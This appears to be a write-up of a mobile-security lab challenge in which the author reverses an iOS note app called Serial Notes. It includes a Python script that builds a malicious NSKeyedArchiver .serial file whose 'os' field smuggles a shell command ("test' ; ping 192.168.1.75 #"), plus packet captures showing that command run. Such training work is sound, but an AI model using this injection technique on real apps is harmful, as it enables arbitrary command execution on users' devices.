Mobile Hacking Lab Serial Notes¶
Description: Welcome to the iOS Application Security Lab: Deserialization Vulnerability Challenge. The challenge revolves around a fictitious note-taking app called Serial Notes. Serial Notes is designed to support markdown editing and has its own file format to share the notes. However, it harbors a critical vulnerability related to deserialization, which can be escalated to command injection. Your objective is to exploit this vulnerability to execute arbitrary command within the app.
Download: https://lautarovculic.com/my_files/serialNotes.ipa Link: https://www.mobilehackinglab.com/path-player?courseid=lab-serial-notes
Install an IPA file can be difficult. So, for make it more easy, I made a YouTube video with the process using Sideloadly. LINK: https://www.youtube.com/watch?v=YPpo9owRKGE
NOTE: If you have problems with the keyboard and UI (buttons) when you need to hide it on a physical device, you can fix this problem by using the KeyboardTools
by @CrazyMind90
found in the Sileo app store.
Once you have the app installed, let's proceed with the challenge. We can see that is a simple text editor that use markdown for show the notes. This have functionalities like 'save
', create
and open
.
unzip the .ipa
file. Looking inside of SerialNotes.app
folder, let's inspect the Info.plsit
, but here doesn't have interesting information. Also, another folder can be inspected, /Frameworks/hermes.framework
We have another Info.plist
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>English</string>
<key>CFBundleExecutable</key>
<string>hermes</string>
<key>CFBundleIconFile</key>
<string></string>
<key>CFBundleIdentifier</key>
<string>dev.hermesengine.iphoneos</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>FMWK</string>
<key>CFBundleShortVersionString</key>
<string>0.12.0</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleVersion</key>
<string>0.12.0</string>
<key>CSResourcesFileMapped</key>
<true/>
<key>MinimumOSVersion</key>
<string>13.4</string>
</dict>
We can see that use - Hermes 0.12.0 I did't find any CVE or vulnerabilities that we can approach.
But I found this interesting article: https://snyk.io/blog/swift-deserialization-security-primer/
We can confirm with
Output:
Now it's time for objection tool. With your phone connected, and SerialNotes app opened, run
Withenv
command we can see the the environment where the app works. Name Path
----------------- -----------------------------------------------------------------------------------------------
BundlePath /private/var/containers/Bundle/Application/50CB8C88-5438-4C17-B214-E8B949E0C8B5/SerialNotes.app
CachesDirectory /var/mobile/Containers/Data/Application/4A04863D-50E3-4DDB-BBFF-A9099D004079/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/4A04863D-50E3-4DDB-BBFF-A9099D004079/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/4A04863D-50E3-4DDB-BBFF-A9099D004079/Library
Save a file demo notes.serial
and get the file with scp
scp root@192.168.1.90:/private/var/mobile/Containers/Shared/AppGroup/<YOURAPPFILEMANAGERUUID>/File\ Provider\ Storage/notes.serial .
Then
So, let's convert this file in a readable format.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>$archiver</key>
<string>NSKeyedArchiver</string>
<key>$objects</key>
<array>
<string>$null</string>
<dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>8</integer>
</dict>
<key>NS.objects</key>
<array>
<dict>
<key>CF$UID</key>
<integer>2</integer>
</dict>
</array>
</dict>
<dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>7</integer>
</dict>
<key>content</key>
<dict>
<key>CF$UID</key>
<integer>4</integer>
</dict>
<key>last_updated</key>
<dict>
<key>CF$UID</key>
<integer>5</integer>
</dict>
<key>name</key>
<dict>
<key>CF$UID</key>
<integer>3</integer>
</dict>
<key>os</key>
<dict>
<key>CF$UID</key>
<integer>6</integer>
</dict>
</dict>
<string>Untitled</string>
<string>Test</string>
<string>Sun, 16 Feb 2025 18:48:36 GMT</string>
<string>Darwin iPhoneHack 22.6.0 Darwin Kernel Version 22.6.0: Tue Jul 2 20:47:35 PDT 2024; root:xnu-8796.142.1.703.8~1/RELEASE_ARM64_T8015 iPhone10,3 arm Darwin</string>
<dict>
<key>$classes</key>
<array>
<string>SerialNotes.Note</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>SerialNotes.Note</string>
</dict>
<dict>
<key>$classes</key>
<array>
<string>NSArray</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>NSArray</string>
</dict>
</array>
<key>$top</key>
<dict>
<key>root</key>
<dict>
<key>CF$UID</key>
<integer>1</integer>
</dict>
</dict>
<key>$version</key>
<integer>100000</integer>
</dict>
</plist>
The structure includes classes like SerialNotes.Note
and NSArray
, indicating that this plist may be used to store serialized data for notes or similar objects.
Let's use ghidra for functions analysis. After use some frida scripts I noticed that the we have a deserialization when we try open some file. The functions is so huge, but it's String __thiscall SerialNotes::SerialFile::$openFile(SerialFile *this,String param_1)
Where we can found that some command is executed, and uses
__C::NSKeyedUnarchiver::typeMetadataAccessor();
(extension_Foundation)::__C::NSKeyedUnarchiver::$unarchiveTopLevelObjectWithData(DVar11);
bplist
object for modify what reproduce deserialization. In notes_serial.xml
, we see that each note is stored with this structure: <dict>
<key>$classes</key>
<array>
<string>SerialNotes.Note</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>SerialNotes.Note</string>
</dict>
SerialNotes.Note
class to inject our payload. openFile
and executeCommand
are manipulating string data. We can found
Swift::String::append(SVar32, SVar36);
SVar35.str = (char *)"uname -s";
Swift::String::append(SVar31, SVar35);
SerialNotes.Note
, we can alter the execution, for example lautaro' ; <command>
Then, we can create the malicious .serial
file with this python script
import plistlib
payload = {
"$archiver": "NSKeyedArchiver",
"$version": 100000,
"$objects": [
"$null",
{
"$class": {"CF$UID": 8},
"NS.objects": [{"CF$UID": 2}]
},
{
"$class": {"CF$UID": 7},
"content": {"CF$UID": 4},
"last_updated": {"CF$UID": 5},
"name": {"CF$UID": 3},
"os": {"CF$UID": 6} # Inject command
},
"Title",
"exploit_note",
"Sun, 16 Feb 2025 18:48:36 GMT",
"test' ; ping 192.168.1.75 #", # Command
{
"$classes": ["SerialNotes.Note", "NSObject"],
"$classname": "SerialNotes.Note"
},
{
"$classes": ["NSArray", "NSObject"],
"$classname": "NSArray"
}
],
"$top": {
"root": {"CF$UID": 1}
}
}
with open("command_injection.serial", "wb") as f:
f.write(plistlib.dumps(payload))
print("File generated: command_injection.serial")
192.168.1.75
is my machine attacker IP & my iPhone is 192.168.1.90
We get command_injection.serial
file. Which can be upload via scp or with a python server.
Once you upload the file, restart the app and then, open the file. In this case, I can see how the ping
command is executed
21:18:17.825519 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 1, length 64
21:18:17.825663 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 1, length 64
21:18:18.591430 IP 192.168.1.1 > 192.168.1.75: ICMP echo request, id 1, seq 0, length 64
21:18:18.591490 IP 192.168.1.75 > 192.168.1.1: ICMP echo reply, id 1, seq 0, length 64
21:18:18.593379 IP 192.168.1.1 > 192.168.1.75: ICMP echo request, id 1, seq 256, length 64
21:18:18.593438 IP 192.168.1.75 > 192.168.1.1: ICMP echo reply, id 1, seq 256, length 64
21:18:18.827168 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 2, length 64
21:18:18.827325 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 2, length 64
21:18:19.834521 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 3, length 64
21:18:19.834711 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 3, length 64
21:18:20.873526 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 4, length 64
21:18:20.873739 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 4, length 64
21:18:21.837882 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 5, length 64
21:18:21.838062 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 5, length 64
21:18:22.909991 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 6, length 64
21:18:22.910140 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 6, length 64
I hope you found it useful (: